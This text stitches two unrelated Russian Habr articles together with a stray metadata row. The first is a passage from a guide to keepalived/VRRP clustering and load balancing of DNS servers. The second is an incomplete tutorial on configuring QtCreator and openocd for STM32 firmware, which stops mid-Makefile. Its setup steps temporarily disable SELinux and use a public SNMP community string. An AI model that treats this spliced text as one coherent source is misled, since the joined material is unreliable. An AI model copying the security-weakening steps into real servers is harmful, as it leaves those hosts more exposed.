2. Многие Linux-сервера не умеют из коробки корректно обновлять настройки DNS. Там такой зоопарк из glibc, nsswitch.conf, resolv.conf, NetworkManager, resolvconf, systemd-resolved, hosts, dhclient.conf и т. п., которые конфликтуют между собой, что рассчитывать на автоматическое обновление по DHCP просто не приходится.
3. Windows шлет запросы одновременно на все сервера, но обязательно дожидается ответа или таймаута от 1-го
4. Linux сначала обращается к 1-му DNS в списке и только в случае ошибки переходит к следующему.
Если долгое время в сети используется DNS-сервер с определенным IP, то он оказывается прописан в десятках разных мест. Например:
* Директива resolver в nginx.conf
* daemon.json в docker
* В настройках docker-контейнеров
* В конфигах модных нынче систем вроде kubernetes или openshift во внутренних файлах на каждой ноде и еще там же в конфигах dnsmasq.
* В конфигах почтовых серверов.
* В настройках VPN-серверов.
Никакими плейбуками и DHCP-декларациями это все обновить просто нереально. Поэтому было бы очень хорошо, если бы собираемый кластер можно было повесить на 1 уже существующий IP. Тогда для пользователей ничего не изменится, и софт перенастраивать не понадобится.
Поэтому я выбрал решение с keepalived и протоколом [VRRP](https://en.wikipedia.org/wiki/Virtual_Router_Redundancy_Protocol).
### Подготовка
Собирая кластер из нескольких серверов, желательно уметь их различать на стороне клиента, чтобы не бегать искать по логам серверов, какой запрос, куда попал. Я для этого в bind9 завел вот такую зону.
**/var/named/zones/load.balance.zone**
```
$ORIGIN load.balance.
$TTL 1h
load.balance. 86400 IN SOA ns.mydomain.ru. dnsmaster.mydoamin.ru. (
1603065098 3600 1800 604800 30
)
load.balance. IN NS ns.mydomain.ru.
health IN TXT =nameserver-1=
```
На 1-м сервере ресурсная запись TXT для health.load.balance содержит текст =nameserver-1=, на 2-м сервере — =nameserver-2=, и т. д. Таким образом, отправляя запрос в кластер, я по ответу могу определить, какой сервер мне ответил, что очень удобно для отладки.
Если у вас HTTP-сервер, то поместите эту информацию в HTTP-заголовок. Например, для nginx я использую вот такую директиву
```
add_header serega-trace "$hostname" always;
```
Убедитесь, что ваши сетевые файерволлы не блокируют IP-трафик протокола 112 по адресу 224.0.0.18. Этот адрес будут использовать ваши сервера, чтобы договариваться между собой о том, кто из них MASTER, а кто BACKUP.
**Открыть VRRP в iptables**
```
iptables -t filter -I INPUT -p vrrp -d 224.0.0.18 -j ACCEPT
iptables -t filter -I OUTPUT -p vrrp -d 224.0.0.18 -j ACCEPT
```
При организации DNS нужно выделить мастер-сервер, на который не будут идти клиентские запросы. DNS-мастер используется только для управления. Он реплицирует свои зоны на slave-сервера, которые уже видны пользователям, и именно на них идет нагрузка. Далее речь будет идти о кластеризации именно DNS-slave.
### Уровень 1 (Easy)
Если вам просто достаточно резервирования на случай аварии, то рекомендую рассмотреть самый быстрый и простой вариант. 2 одинаковых сервера разделяют между собой общий виртуальный IP (далее буду называть его VIP). У кого в данный момент в сетевом интерфейсе прописан VIP, тот сервер и работает. 2-й сервер следит за мастером (имеется в виду мастер VRRP, а не DNS), и как только обнаруживает, что он перестал вещать, сразу объявляет мастером себя и поднимает VIP на своем сетевом интерфейсе.
Меня приятно удивило то, как быстро удалось поднять кластер по такому варианту. Несмотря на то, что раньше я никогда не имел дело с keepalived, уже через час все работало. Так что если вам нужно решить задачу быстро, то уровень 1 вам подойдет в самый раз.
#### Сбор информации
Для успешного развертывания вам понадобится собрать следующую информацию. Здесь я привожу значения для примера. У вас эти значения должны быть свои.
| Параметр | Возможное значение | Описание |
| --- | --- | --- |
| vip | 10.2.1.5 | виртуальный IP, на который шлют запросы клиенты |
| dev0 | eth0 | 1-й сетевой интерфейс на узлах кластера |
| ip01 | 10.2.1.2 | IP 1-го узла кластера на 1-м сетевом интерфейсе |
| ip02 | 10.2.1.3 | IP 2-го узла кластера на 1-м сетевом интерфейсе |
| net0 | 10.2.1.0/24 | подсеть, которой принадлежат ip01 и ip02 |
Установите keepalived и snmpd. SNMP ставить необязательно, но мне кажется, что, если серверов с виртуальными IP будет много, он будет полезен.
```
setenforce 0 # если вдруг у вас selinux
dnf install -y keepalived nmap-ncat net-snmp net-snmp-utils
systemctl enable keepalived
systemctl enable snmpd
```
Netcat нужен для диагностики и healthcheck-ов.
В файл /etc/sysconfig/keepavlied добавьте опцию -x. Она нужна для взаимодействия keepalived с snmpd. Если вы не собираетесь поднимать SNMP, то этот шаг можете пропустить.
Отредактируйте файл /etc/snmp/snmpd.conf следующим образом:
**/etc/snmp/snmpd.conf**
```
master agentx
rocommunity public
```
В /etc/keepalived положите вот такой скрипт keepalived-notify.sh:
**/etc/keepalived/keepalived-notify.sh**
```
#!/bin/sh
umask -S u=rwx,g=rx,o=rx
exec echo "[$(date -Iseconds)]" "$0" "$@" >>"/var/run/keepalived.$1.$2.state"
```
Этот скрипт будет вызываться демоном keepalived при изменении состояния кластера. Он запишет в каталог /var/run статусный файл, который удобно использовать для диагностики.
Отредактируйте основной конфигурационный файл keepalived.conf следующим образом:
```
global_defs {
enable_script_security
}
vrrp_script myhealth {
script "/bin/nc -z -w 2 127.0.0.1 53"
interval 10
user nobody
}
vrrp_instance VI_1 {
state BACKUP
interface eth0
virtual_router_id 5
priority 100
advert_int 1
nopreempt
notify /etc/keepalived/keepalived-notify.sh root
authentication {
auth_type PASS
auth_pass KPSjXfRG
}
virtual_ipaddress {
10.2.1.5
}
track_script {
myhealth
}
}
```
Блок global\_defs содержит единственную необходимую настройку enable\_script\_security, которая по умолчанию отключена.
Блок vrrp\_script описывает скрипт, который демон keepalived будет использовать для определения работоспособности своего сервера. Если этот скрипт вернет ошибку, то демон перейдет в состояние FAIL, и не будет претендовать на роль MASTER. В этом же блоке описывается периодичность выполнения healthchek-ов и указывается пользователь, от имени которого запускается скрипт. В нашем случае используется утилита netcat, которая устанавливает соединение c локальным DNS-сервером по TCP-порту 53. Можно использовать разные проверки, например, прозвонить UDP-порт 53 утилитой dig.
В блоке VRRP\_INSTANCE задаются настройки 1 экземпляра сервера с виртуальным IP.
* state задает начальное состояние сервера BACKUP или MASTER. В режиме nopreempt единственное допустимое значение — BACKUP.
* interface указывает, на каком сетевом интерфейсе будет поднят VIP
* virtual\_router\_id уникальный идентификатор роутера VRRP. Возможные значения от 1 до 255. У всех узлов кластера это значение должно быть одинаковым. Рекомендуется в качестве router\_id использовать последний байт VIP, чтобы не запутаться, когда у вас таких виртуальных адресов будет много.
* priority задает приоритет данного экземпляра при выборе мастера. Мастером назначается сервер, у которого значение параметра priority выше. Если у нескольких серверов priority одинаковый, то мастер будет выбран случайным образом.
* advert\_int определяет, с какой периодичностью мастер должен сообщать остальным о себе. Если по истечению данного периода сервера не получат от мастера широковещательное уведомление, то они инициируют выборы нового мастера.
* nopreempt означает, что если мастер пропал из сети, и был выбран новый мастер с меньшим приоритетом, то по возвращении старшего мастера, он останется в состоянии BACKUP. Т. е. если вы перезагрузили мастер, то он больше мастером не станет, пока новый мастер не отвалится. Если вы предпочитаете, чтобы мастером был какой-то конкретный сервер, то замените настройку nopreempt на preempt\_delay.
* notify задает хук-скрипт, который будет вызываться при каждом изменении состояния сервера, и имя пользователя, от имени которого данный скрипт будет выполняться.
* authentication задает пароль, длиной до 8 символов, который будет защищать кластер от случайных коллизий с другими серверами в локальной сети.
* virtual\_ipaddress задает VIP
* track\_script указывает на описание скрипта, осуществляющего healthcheck.
Выполните указанные настройки на обоих серверах кластера и запустите сервисы:
```
systemctl start snmpd
systemctl start keepalived
```
Проверьте логи и статусные файлы на наличие ошибок.
```
journalctl -u snmpd
journalctl -u keepalived
tail /var/run/keepalived.INSTANCE.VI_1.state
```
Если у вас используется selinux, не забудьте по данным audit.log обновить политики и вернуть enforcing mode командой set enforce 1.
#### Проверка
Если в логах ошибок нет, можно проверять. Поскольку мы кластеризовали DNS, то будем использовать dig. Для проверки HTTP-сервера подойдет curl.
Запустите на клиенте такой скрипт:
```
while true; do
dig -4 +short +notcp +norecurse +tries=1 +timeout=1 \
-q health.load.balance. -t txt @10.2.1.5;
sleep 1;
done
```
Этот скрипт будет раз в секунду выдавать ресурсную запись health.load.balance/IN/TXT, которая содержит идентификатор сервера. В нашей конфигурации это будет тот сервер, который сейчас VRRP-мастер.
Зайдите на этот сервер и убедитесь, что в файле /var/run/keepalived.INSTANCE.VI\_1.state в последней строке указано MASTER.
Перезапустите на мастере сервис keepalived. Если у вас все сделано правильно, то мастер поменяется. На 1-м сервере в файле keepalived.INSTANCE.VI\_1.state появятся строки STOP и BACKUP, на втором сервере в этом же файле появится строка MASTER, а клиентский скрипт станет выдавать ресурсную запись с идентификатором нового мастера.
```
[2020-10-13T10:48:00+00:00] /etc/keepalived/keepalived-notify.sh INSTANCE VI_1 BACKUP 100
[2020-10-13T11:26:29+00:00] /etc/keepalived/keepalived-notify.sh INSTANCE VI_1 MASTER 100
```
```
"=nameserver-1="
"=nameserver-1="
"=nameserver-1="
"=nameserver-2="
"=nameserver-2="
```
Все, кластер готов. Теперь можно перезагружать сервера по одному в любое время, не нужно откладывать обновления на выходные, не нужно работать по ночам, не нужно рассылать пользователям предупреждения о том, что возможны перебои в связи с регламентными работами.
Если у вас все получилось, значит вы успешно прошли 1-й уровень кластеризации. Он обладает следующими плюсами:
* очень легко и быстро настраивается,
* практически невозможно что-либо сломать,
* на всех узлах кластера одинаковая конфигурация, что сильно сокращает трудоемкость администрирования.
Однако есть у данного варианта развертывания и существенный минус. В один момент времени в кластере работает только один сервер, а остальные, что называется, курят бамбук. Во-первых, это неэффективно с точки зрения использования вычислительных ресурсов. Во-вторых, если ваш сервер перестанет справляться с нагрузкой, то такой простенький кластер вам не поможет.
Чтобы обеспечить не только отказоустойчивость, но и масштабирование, переходите на следующий уровень кластеризации, о котором я расскажу прямо сейчас.
### Уровень 2 (c балансировкой нагрузки)
Чтобы задействовать все сервера кластера, нужно научить VRRP-мастер, на сетевом интерфейсе которого прописан VIP, не только принимать трафик для своих локальных сервисов, но и направлять часть трафика на остальные сервера. Демон keepalived как раз умеет это делать.
Отредактируйте конфиг keepalived.conf, приведя его к следующему виду:
**/etc/keepalived/keepalived.conf**
```
global_defs {
enable_script_security
}
vrrp_instance VI_1 {
state BACKUP
interface eth0
virtual_router_id 5
priority 100
advert_int 1
nopreempt
notify /etc/keepalived/keepalived-notify.sh root
authentication {
auth_type PASS
auth_pass KPSjXfRG
}
virtual_ipaddress {
10.2.1.5
}
}
virtual_server 10.2.1.5 53 {
protocol UDP
delay_loop 10
lvs_sched rr
lvs_method NAT
real_server 10.2.1.2 53 {
DNS_CHECK {
type txt
name health.load.balance
}
}
real_server 10.2.1.3 53 {
DNS_CHECK {
type txt
name health.load.balance
}
}
}
virtual_server 10.2.1.5 53 {
protocol TCP
delay_loop 10
lvs_sched rr
lvs_method NAT
real_server 10.2.1.2 53 {
TCP_CHECK {
connect_timeout 3
}
}
real_server 10.2.1.3 53 {
TCP_CHECK {
connect_timeout 3
}
}
}
```
Начало конфигурации аналогично предыдущему варианту без балансировки, только из блока vrrp\_instance исчез track\_script, соответственно за ненадобностью был удален блок vrrp\_script.
Главное отличие в новой конфигурации заключается в блоках virtual\_server. Для DNS требуется 2 виртуальных сервера, для 53-го порта TCP и для 53-го порта UDP. В случае HTTP-сервера аналогично потребуются сервера для 80-го и 443-го портов TCP.
Каждый виртуальный сервер идентифицируется 3 значениями: IP, порт и протокол. IP и порт через пробел указываются в заголовке блока virtual\_server, а протокол определяется параметром protocol внутри блока. Допустимые протоколы TCP и UDP. В случае DNS как раз нужны оба.
Параметр delay\_loop задает периодичность, с которой балансировщик опрашивает бэкенды для определения их состояния.
Самые важные параметры в виртуальном сервере — это lvs\_sched и lvs\_method. lvs\_sched задает алгоритм, по которому балансировщик определяет, куда отправить очередной IP-пакет. lvs\_method задает механизм, который использует балансировщик для направления пакетов в выбранный пункт назначения.
В приведенном примере lvs\_sched равен rr, что означает round robin, т. е. балансировка равномерно по очереди. lvs\_method используется NAT. Кроме NAT доступны также механизмы DR (direct routing) и TUN (tunneling). На мой взгляд, NAT — единственный рабочий вариант. Остальные методы работают только в очень специфических условиях.
Каждый виртуальный сервер состоит из нескольких реальных серверов, что отражено в соответствующих вложенных блоках real\_server. Внутри блока real\_server надо описать способ опроса его состояния, т. е. healthcheck.
После такой настройки keepalived работает следующим образом:
1. Принимает IP-пакет с адресом получателя равным VIP.
2. Выбирает real\_server, куда необходимо направить пакет, анализируя протокол, порт, lvs\_sched и результаты healthcheck-ов.
3. Заменяет в IP-пакете адрес получателя на IP-адрес выбранного реального сервера и отправляет его дальше.
Только для работы этого недостаточно. Выбранный реальный сервер отправит ответный IP-пакет, в котором адрес отправителя будет равен его собственному IP-адресу. Клиент дропнет такой пакет, потому что он отправлял запрос на VIP и ожидает ответы от VIP, а не с IP-адреса реального сервера.
Чтобы решить эту проблему, нужно заставить реальный сервер отправить ответ не на IP клиента, а на IP мастера, чтобы тот выполнил обратную подстановку реального IP на виртуальный.
Для этого понадобится itpables и некоторые настройки ядра.
```
dnf -y install iptables iptables-services
systemctl enable iptables
systemctl start iptables
```
```
echo "net.ipv4.ip_forward=1" >>/etc/sysctl.d/99-sysctl.conf
echo "net.ipv4.vs.conntrack=1" >>/etc/sysctl.d/99-sysctl.conf
sysctl -w net.ipv4.ip_forward=1
sysctl -w net.ipv4.vs.conntrack=1
```
Добавьте в iptables следующее правило:
```
iptables -t nat -I POSTROUTING 1 -d 10.2.1.0/24 -j SNAT --to-source 10.2.1.5
service iptables save
```
Действие SNAT означает, что после маршрутизации в IP-пакете IP-адрес источника будет заменен на IP-адрес to-source. Вместо SNAT можно также использовать действие MASQUERADE, которое делает то же самое, только определяет исходящий IP автоматически.
Поскольку были внесены изменения в такие вещи как iptables и параметры ядра, рекомендуется перезагрузить сервер и убедиться, что ничего из этого не потерялось.
Выполните описанные действия на обоих серверах кластера. Проверьте логи и статусные файлы. Если ошибок нет, то выполните проверку работы кластера способом, описанным выше. Теперь должен получиться вот такой вывод:
```
"=nameserver-1="
"=nameserver-2="
"=nameserver-1="
"=nameserver-2="
"=nameserver-1="
```
Поскольку в балансировщике задан алгоритм round robin, то сервера отвечают строго по очереди друг за другом.
Остановите named на 2-м сервере, и получите:
```
"=nameserver-1="
"=nameserver-1="
"=nameserver-1="
"=nameserver-1="
"=nameserver-1="
```
Снова запустите на 2-м сервере named, и на клиенте снова начнется чередование ответов.
Не забудьте про корректировку политик selinux, о которой рассказано выше.
Поздравляю. Только что мы с вами прошли 2-й уровень кластеризации.
Теперь наш кластер не только отказоустойчивый, но и масштабируемый.
Тем не менее, данная конструкция имеет и большой минус. Из-за трансляции адресов на подчиненные сервера запросы приходят с VIP, и невозможно по логам определить, какой запрос от какого клиента пришел. Возможность вычислить клиента по IP очень полезна для решения различных проблем. Поэтому, мой совет — не останавливаться на 2-м уровне и, по возможности, перейти на 3-й.
### Уровень 3 (Expert)
3-й уровень кластеризации подразумевает, что вы уже находитесь на 2-м, и все у вас работает как надо. Необходимо только обеспечить проброс клиентского IP-адреса до реальных серверов.
Принцип проброса следующий: все пакеты, приходящие на сервер, содержат IP реального клиента, а ответы на них отправляются на VIP. Т. е. VIP для реального сервера является шлюзом по умолчанию. Причем на этот шлюз направляются даже те пакеты, получатель которых находится в локальной подсети.
Но у серверов уже есть шлюз по умолчанию, и заменить его нельзя. Если убрать стандартный шлюз по умолчанию, то балансировка может быть и будет работать, однако все остальное сетевое взаимодействие у сервера сломается, и на него нельзя будет даже зайти по SSH.
Решение заключается в создании на сервере 2-го сетевого интерфейса. На 1-м сетевом интерфейсе будет производиться стандартный сетевой обмен, а на 2-м как раз и будет настроен VIP в качестве шлюза по умолчанию. Соответственно, у серверов вместе с дополнительным сетевым интерфейсом должен будет появиться и дополнительный IP-адрес.
Итак, добавьте на сервера кластера дополнительные сетевые интерфейсы и назначьте им IP-адреса.
Соберите информацию, необходимую для дальнейшей настройки. В нашем примере будут использоваться следующие значения:
| Параметр | Возможное значение | Описание |
| --- | --- | --- |
| vip | 10.2.1.5 | виртуальный IP, на который шлют запросы клиенты |
| dev0 | eth0 | 1-й сетевой интерфейс на узлах кластера |
| dev1 | eth1 | 2-й сетевой интерфейс на узлах кластера |
| ip01 | 10.2.1.2 | IP 1-го узла кластера на 1-м сетевом интерфейсе |
| ip02 | 10.2.1.3 | IP 2-го узла кластера на 1-м сетевом интерфейсе |
| ip11 | 10.2.1.6 | IP 1-го узла кластера на 2-м сетевом интерфейсе |
| ip12 | 10.2.1.7 | IP 2-го узла кластера на 2-м сетевом интерфейсе |
| net0 | 10.2.1.0/24 | подсеть, которой принадлежат ip01 и ip02 |
Скорректируйте конфигурацию keepalived по указанному образцу.
**/etc/keepalived/keepalived.conf**
```
global_defs {
enable_script_security
}
vrrp_instance VI_1 {
state BACKUP
interface eth0
virtual_router_id 5
priority 100
advert_int 1
nopreempt
notify /etc/keepalived/keepalived-notify.sh root
authentication {
auth_type PASS
auth_pass KPSjXfRG
}
virtual_ipaddress {
10.2.1.5
}
}
virtual_server 10.2.1.5 53 {
protocol UDP
delay_loop 10
lvs_sched rr
lvs_method NAT
real_server 10.2.1.6 53 {
DNS_CHECK {
connect_ip 10.2.1.2
type txt
name health.load.balance
}
}
real_server 10.2.1.7 53 {
DNS_CHECK {
connect_ip 10.2.1.3
type txt
name health.load.balance
}
}
}
virtual_server 10.2.1.5 53 {
protocol TCP
delay_loop 10
lvs_sched rr
lvs_method NAT
real_server 10.2.1.6 53 {
TCP_CHECK {
connect_ip 10.2.1.2
connect_timeout 3
}
}
real_server 10.2.1.7 53 {
TCP_CHECK {
connect_ip 10.2.1.3
connect_timeout 3
}
}
}
```
От предыдущей конфигурации новая отличается тем, что для реальных серверов указаны IP с дополнительных сетевых интерфейсов, но healthcheck-и отправляются на IP основных сетевых интерфейсов. Обратите внимание на этот момент. Все сервера кластера опрашивают друг друга, но на дополнительных сетевых интерфейсах будут настроены маршруты на VIP, поэтому узлы, которые сейчас в состоянии BACKUP, не смогут получить ответ от новых IP-адресов.
Теперь необходимо прописать правильные маршруты для дополнительных сетевых интерфейсов.
Добавьте в файл /etc/iproute2/rt\_tables 2 новых таблицы маршрутизации. В примере ниже добавлены таблицы table0 и table1.
**/etc/iproute2/rt\_tables**
```
#
# reserved values
#
255 local
254 main
253 default
0 unspec
#
# local
#
#1 inr.ruhep
20 table0
21 table1
```
По документации к NetworkManager и CentOS 8 статические маршруты и правила следует помещать в файлы /etc/syconfig/network-scripts/route-eth0 и rule-eth0. На многих моих серверах именно так и сделано. Только почему-то на серверах, поднятых из одного и того же образа, формат этих файлов оказался разным. На большинстве серверов route-eth0 выглядит так:
**route-eth0 здорового человека**
```
192.168.1.0/24 via 192.168.1.1
172.10.1.0/24 via 172.10.1.1
```
но почему-то на моих серверах DNS эти же файлы содержат вот это:
**route-eth0 курильщика**
```
ADDRESS0=192.168.1.0
NETMASK0=255.255.255.0
GATEWAY0=192.168.1.1
ADDRESS1=172.10.1.0
NETMASK1=255.255.255.0
GATEWAY1=172.10.1.1
```
Формат понятен, только совершенно непонятно, как в него поместить имя таблицы маршрутизации. Я не смог разобраться в этом вопросе. Если кто-то знает, в чем дело, поделитесь, пожалуйста, информацией в комментариях.
Поскольку сохранить маршруты в специальных системных файлах не удалось, пришлось сделать костыль.
UPD: в комментах товарищ [Bearpuh](https://habr.com/en/users/bearpuh/) подсказал, как это лечить.
**/etc/keepalived/routes.sh**
```
#!/bin/sh
# https://tldp.org/HOWTO/Adv-Routing-HOWTO/lartc.rpdb.multiple-links.html
vip="10.2.1.5"
dev0="eth0"
ip0="10.2.1.2" # "10.2.1.3"
dev1="eth1"
ip1="10.2.1.6" # "10.2.1.7"
ip route add 10.2.1.0/24 dev "$dev0" src "$ip0" table table0
ip route add default via 10.2.1.1 table table0
ip rule add from "$ip0" table table0
ip route add "$vip/32" dev "$dev1" src "$ip1"
ip route add default via "$vip" table table1
ip route add "$vip/32" dev "$dev1" src "$ip1" table table1
ip rule add from "$ip1" table table1
```
В комментарии в скрипте указаны значения, которые надо скорректировать при переносе скрипта на другой сервер.
Данный скрипт я добавил в автозапуск вместе с сервисом keepalived.
```
systemctl edit keepalived
```
```
[Service]
ExecStartPre=/etc/keepalived/routes.sh
```
Не самое элегантное решение, но работает нормально, поэтому можете спокойно использовать, если не знаете, как можно сделать лучше.
Принципы задания правил маршрутизации описаны в [Linux Advanced Routing & Traffic Control HOWTO](https://tldp.org/HOWTO/Adv-Routing-HOWTO/lartc.rpdb.multiple-links.html). Идея заключается в том, что создается 2 независимые таблицы маршрутизации, в каждой свой шлюз по умолчанию. В зависимости от того, с какого сетевого интерфейса отправляется пакет, с помощью правил ip rule выбирается либо одна таблица, либо другая.
Удалите из iptables правило SNAT в цепочке POSTROUTING, добавленное при прохождении 2-го уровня. Сохраните состояние iptables.
```
iptables -t nat -D POSTROUTING -d 10.2.1.0/24 -j SNAT --to-source 10.2.1.5
service iptables save
```
Проверьте результат. Клиент должен получать ответы от каждого сервера поочередно, в логах на серверах должны писаться реальные IP клиентов.
Теперь имеется отказоустойчивый кластер, в котором все живые узлы принимают нагрузку и видят IP-адреса своих клиентов. Единственный небольшой минус у этой конфигурации заключается в том, что есть 1 скрипт, который на разных серверах должен иметь разные параметры. Небольшое усложнение администрирования, которое с лихвой окупается полученными преимуществами.
| | Сложность | Масштабирование | Единые настройки | IP клиента |
| --- | --- | --- | --- | --- |
| Уровень 1 | Easy | Нет | Да | Да |
| Уровень 2 | Normal | Да | Да | Нет |
| Уровень 3 | Expert | Да | Нет | Да | | https://habr.com/ru/post/524688/ | null | ru | null |
# Настраиваем QtCreator для полноценного программирования и отладки микроконтроллеров STM32
Введение
--------
Привет всем.
На данный момент я активно осваиваю разработку ПО для STM32 и хотел бы поделиться моим опытом.
Как известно, для STM32 имеется много сред для разработки, однако часть из них, несмотря на удобность, имеют ограничения по использованию в случае пробной версии. Так, для IAR размер прошивки ограничивается 32 кБ, что весьма немного.
В данной публикации будет рассмотрен способ настройки окружения для полноценной разработки и отладки ПО для микроконтроллеров STM32 в среде QtCreator.
Прежде всего, определимся, что нам понадобится для проведения экспериментов.
Железо
------
В качестве примера я использую плату **bluepill** на базе **STM32F103C8T6**. В моем случае **openocd** жаловался на некорректный номер STM32. Решается 2 способами: или подменой номера в конфиге **openocd** или заменой МК на оригинальный. Я выбрал 2 вариант. Для загрузки и отладки программ в МК будем использовать интерфейс **ST-Link**.
Софт
----
Сами эксперименты проводились на виртуальной машине ОС Windows 10 в Virtual Box.
Для настройки окружения понадобится следующее ПО:
1. **QtCreator**. Можно скачать онлайн-установщик с сайта Qt. Но в нем при установке требуется регистрация и, кроме того, нам нужен только сам QtCreator. Поэтому я обычно его скачиваю непосредственно с GitHub. https://github.com/qt-creator/qt-creator/tags.
2. **gcc-arm-none-eabi**.https://developer.arm.com/downloads/-/gnu-rm.
3. **Git**. https://git-scm.com/downloads.
4. **openocd**. https://github.com/openocd-org/openocd/tags. Это программа для загрузки прошивки и отладки микроконтроллера STM.
5. **make**. <https://gnuwin32.sourceforge.net/packages/make.htm>
6. **ST-LINK Utility**. Программа для прошивки STM32 + драйвер для самого ST-Link. https://www.st.com/en/development-tools/stsw-link004.html
7. **Python2.7**. https://www.python.org/downloads/release/python-2718/
Прежде всего, скачиваем и распаковываем QtCreator. Затем гит, компилятор, openocd, python, make и st-link.
QtCreator и openocd распаковал в C:\Tools. Все программы, кроме QtCreator, должны быть добавлены в **Path**.
Проверяем, что компилятор и openocd подтянулись в path вызовом из командной строки.
Далее перейдем к настройке QtCreator.
Настройка QtCreator
-------------------
Запускаем QtCreator. Для работы нужно установить плагины **BareMetal** и **GenericProjectManager**. Для этого идем в **Help->About Plugins**. После настройки перезапускаем QtCreator.
Переходим в **Edit->Preferences**. Выбираем **Kits** слева. Тут видим наш комплект для сборки ARM, который подтянулся из Path. Идем в раздел **Devices** на вкладку **Bare Metal** и добавляем **OpenOCD** server. Выбираем название, в моем случае **OpenOCD-STM32F103**.
В поле **Executable file** пишем путь к нашему **openocd** (по-идее, можно взять из path).
В поле **Root scripts** directory указываем на директорию со скриптами в openocd.
В поле **Additional arguments** указываем аргументы для прошивки MK. В нашем случае конфиг для STLink и target. Применяем.
Переходим на вкладку **Devices**. Нажимаем **Add->Bare Metal Device** и **Start Wizard**. В появившемся окне выбираем **Debug server provider** ранее созданный **OpenOCD-STM32F103**. Далее Finish.
Возвращаемся в **Kits** и донастраиваем наш комплект. Выбираем **Device type** и **Device – Bar Metal Device**. Применяем.
На этом QtCreator пока откладываем и переходим к настройке самого проекта.
Настройка проекта
-----------------
Теперь можно приступить непосредственно к созданию и настройке репозитория. Создадим простейший проект на **CMSIS**, который будет моргать светодиодами.
Прежде всего, нужно подтянуть необходимые библиотеки в виде submodules из официальных репозиториев ARM и ST. Открываем bash-терминал, который устанавливается с git. Создадим папку led\_blink\_cmsis и перейдем в нее.
```
mkdir led_blink_cmsis && cd led_blink_cmsis
```
Внутри создадим папки **build**, **lib** и **src**.
```
mkdir build && mkdir src && mkdir lib
```
В папке **build** будут артефакты сборки, в **src** – наши исходники, а в **lib** – сторонние библиотеки.
Инициализируем git.
```
git init
```
Далее добавим сторонние библиотеки cmsis для билда с использованием **git submodules**. Первая библиотека – форк от ARM, вторая содержит настройки и определения для STM32 семейства F1.
```
git submodule add https://github.com/STMicroelectronics/cmsis_core lib/cmsis_core && cd lib/cmsis_core
git checkout v5.6.0 && cd ../..
```
```
git submodule add https://github.com/STMicroelectronics/cmsis_device_f1 lib/cmsis_device_f1 && cd lib/cmsis_device_f1
git checkout v4.3.3 && cd ../..
```
Git checkout здесь необходим, чтобы использовать релизные версии библиотек, в данном случае 5.6.0 и 4.3.3 для cmsis\_core и cmsis\_device соответственно.
Далее создадим файлы **main.c**, **init.h** и **init.c** в папке **src**, в которых будем писать исходный код.
```
touch src/main.c src/init.h src/init.c
```
Наполним файлы кодом. В файле **main.c** находится код, которые включает и выключает светодиод, а также вызывает функции **clock\_init** и **port\_init**. Эти функции настраивает тактовую частоту МК и тактирование от кварца, а также работу порта C на выход в режиме пуш-пулл. Кроме того, **init.c** содержит реализацию функции **delay\_ms**.
main.c
```
#include "init.h"
int main(void)
{
clock_init(); //Clock initialization
port_init(); //Port initialization
while(1)
{
GPIOC->BSRR = GPIO_BSRR_BR13; //Pin 13 of PORT C on
delay_ms(100);
GPIOC->BSRR = GPIO_BSRR_BS13; //Pin 13 of PORT C off
delay_ms(100);
}
return 0;
}
```
init.h
```
#ifndef STM32F103xB
#define STM32F103xB
#endif
#include "stm32f1xx.h"
int clock_init();
void port_init();
void delay_ms(uint16_t);
```
init.c
```
#include "init.h"
volatile uint32_t SysTickDelayMsec = 0;
void SysTick_Handler(void)
{
--SysTickDelayMsec;
}
/*
OSC - 8 MHz
PLLSRC - 8 MHz
SYSCLK - 16 MHz
PLL - 2
AHB - 1/16
*/
int clock_init()
{
RCC->CR |= RCC_CR_HSEON; //Start HSE generator
for(volatile int StartUpCounter = 0; ; ++StartUpCounter) //Wait for successfull start or timeout
{
if(RCC->CR & RCC_CR_HSERDY) //If started successfully, break the cycle
{
break;
}
if(StartUpCounter > 4096) //If not started - turn off and return an error
{
RCC->CR &= ~RCC_CR_HSEON; //Stop HSE
return 1;
}
}
RCC->CFGR = 0; //PLL mult is equal 2
RCC->CFGR |= RCC_CFGR_PLLSRC; //Clock PLL from HSE
RCC->CR |= RCC_CR_PLLON; //Start PLL
for(volatile int StartUpCounter = 0; ; ++StartUpCounter) //Wait for successfull start or timeout
{
if(RCC->CR & RCC_CR_PLLRDY) //If started successfully, break the cycle
{
break;
}
if(StartUpCounter > 4096) //If PLL didn't start , turn off everything and return an error
{
RCC->CR &= ~RCC_CR_HSEON; //Stop HSE
RCC->CR &= ~RCC_CR_PLLON; //Stop PLL
return 2;
}
}
FLASH->ACR |= FLASH_ACR_LATENCY; //0 cycles for flash, core clock 16 MHz
RCC->CFGR |= RCC_CFGR_PPRE2; //APB2 turned off (0 by default)
RCC->CFGR |= RCC_CFGR_HPRE_3 |
RCC_CFGR_HPRE_1 |
RCC_CFGR_HPRE_0; //AHB prescaler 16
RCC->CFGR |= RCC_CFGR_SW_1; //Switch to PLL
while((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_PLL); //Wait for switch to PLL
RCC->CR &= ~RCC_CR_HSION; //Turn off the internal clock for energy save
SystemCoreClockUpdate(); //Apply alterations to generator
SysTick_Config(SystemCoreClock/1000); //Initialisation of interrupt (1 ms)
return 0; //Return 0 if success
}
void port_init()
{
RCC->APB2ENR |= RCC_APB2ENR_IOPCEN; //Turn on clock for GPIOC
GPIOC->CRH = 0;
GPIOC->CRH |= GPIO_CRH_MODE13; //Pin 13 of PORT C in Push-Pull mode
GPIOC->BSRR |= GPIO_BSRR_BR13; //Pin 13 of PORT C reset
}
void delay_ms(uint16_t msec) //Delay function
{
SysTickDelayMsec = msec;
while (SysTickDelayMsec);
}
```
И, наконец, добавим в проект **Makefile**, в соответствии с которыми будут собираться наша прошивка. Шаблон этого файла взят из генератора кода **mxcube** и адаптирован под текущий проект. Файл имеет следующее содержание.
Makefile
```
######################################
# target
######################################
TARGET = mppt_firmware
######################################
# building variables
######################################
DEBUG = 1
OPT = -O0
#######################################
# paths
#######################################
BUILD_DIR = build
######################################
# source
######################################
C_SOURCES = \
src/main.c \
src/init.c \
lib/cmsis_device_f1/Source/Templates/system_stm32f1xx.c
ASM_SOURCES = \
lib/cmsis_device_f1/Source/Templates/gcc/startup_stm32f103xb.s
#######################################
# binaries
#######################################
PREFIX = arm-none-eabi-
ifdef GCC_PATH
CC = $(GCC_PATH)/$(PREFIX)gcc
AS = $(GCC_PATH)/$(PREFIX)gcc -x assembler-with-cpp
CP = $(GCC_PATH)/$(PREFIX)objcopy
SZ = $(GCC_PATH)/$(PREFIX)size
else
